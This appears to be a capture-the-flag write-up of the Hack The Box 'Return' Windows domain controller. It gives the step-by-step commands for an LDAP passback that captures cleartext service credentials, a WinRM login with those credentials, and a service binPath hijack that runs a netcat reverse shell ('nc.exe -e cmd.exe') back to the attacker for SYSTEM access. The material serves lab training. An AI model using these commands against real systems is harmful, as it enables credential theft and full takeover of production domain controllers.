Return.md
IP: 10.129.95.241
OS: Windows (Server 2019, Build 17763) — DC for return.local
Difficulty: Easy
Date: 2026-10-29
Source: HTB
Nmap
nmap -sV -sC -p- 10.129.95.241
Open ports:
- 53 — DNS (Simple DNS Plus)
- 80 — HTTP (IIS 10.0, “HTB Printer Admin Panel”)
- 88 — Kerberos (domain: return.local)
- 135 / 139 / 445 — RPC / NetBIOS / SMB
- 389 / 3268 — LDAP (AD, Site: Default-First-Site-Name)
- 464 — kpasswd
- 593 / 636 / 3269 — RPC-over-HTTP / LDAPS
- 5985 — WinRM
- 9389 — AD Web Services
Port profile = Domain Controller for return.local.
Enumeration
Web
Directory scan:
301 - /images
200 - /index.php
200 - /index.php/login/
200 - /settings.php
/settings.php = printer config page: Server Address, Port (389), Username (svc-printer), masked Password.

SMB
nxc smb <IP> -u 'guest' -p '' # STATUS_ACCOUNT_DISABLED — no guest/NULL
nxc smb <IP> -u 'svc-printer' -p '1edFg43012!!' --users
With valid creds, users enumerated:
AdministratorGuestkrbtgtsvc-printer
Other
- No NULL/guest SMB session.
- WinRM (5985) open — usable once creds are in hand.
Foothold
Vulnerability: LDAP passback — the printer panel sends its stored credentials, in cleartext, to whatever Server Address you configure.
Start a listener on the LDAP port
nc -lvnp 389

Update the printer configuration
Set panel Server Address → your VPN IP, then click Update.
Capture the cleartext credentials
0*`%return\svc-printer 1edFg43012!!
Authenticate over WinRM
evil-winrm -i return.local -u svc-printer -p '1edFg43012!!'
Creds: svc-printer : 1edFg43012!!

Privilege Escalation
Vector: svc-printer is a member of BUILTIN\Server Operators (S-1-5-32-549).
whoami /groups

Technique: Service binPath hijack. Server Operators can reconfigure + restart services; services run as LocalSystem → rewrite a service’s binary path to your payload, restart it, get SYSTEM.
Upload netcat
The binPath must match this path exactly.
upload /usr/share/windows-resources/binaries/nc.exe

Point vss at the payload
vss is expendable and runs as LocalSystem.
sc.exe config vss binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.15.108 1234"

Start the listener first
nc -lvnp 1234
Restart the service
FAILED 1053 is the expected success signal.
sc.exe stop vss
sc.exe start vss
Confirm SYSTEM access
C:\Windows\system32> whoami
nt authority\system

Flags
- user:
f6ee14a7bd4f72xxxxxxxxxxxxx - root:
dd5b5027059beadxxxxxxxxxxxxx
Lessons Learned
FAILED 1053= success, not an error — the service launched the binary and it blocked on the socket.- binPath must match the exact upload path — mismatch makes the SCM find nothing and 1053 with no shell.
-
1053 with no shell: check in order:
- Listener up first?
- Binary at the exact path?
- Box can reach you?
Test-NetConnection <ip> -Port <port> Get-Servicefails under Evil-WinRM — usesc.exe query/sc.exe qc <svc>.sc.exe stop vss → FAILED 1062just means already stopped; proceed.- SYSTEM shell is short-lived — grab
root.txtfast or re-trigger. nc -eis loud / lab-only — for OSCP use a PowerShell reverse shell or msfvenom service EXE.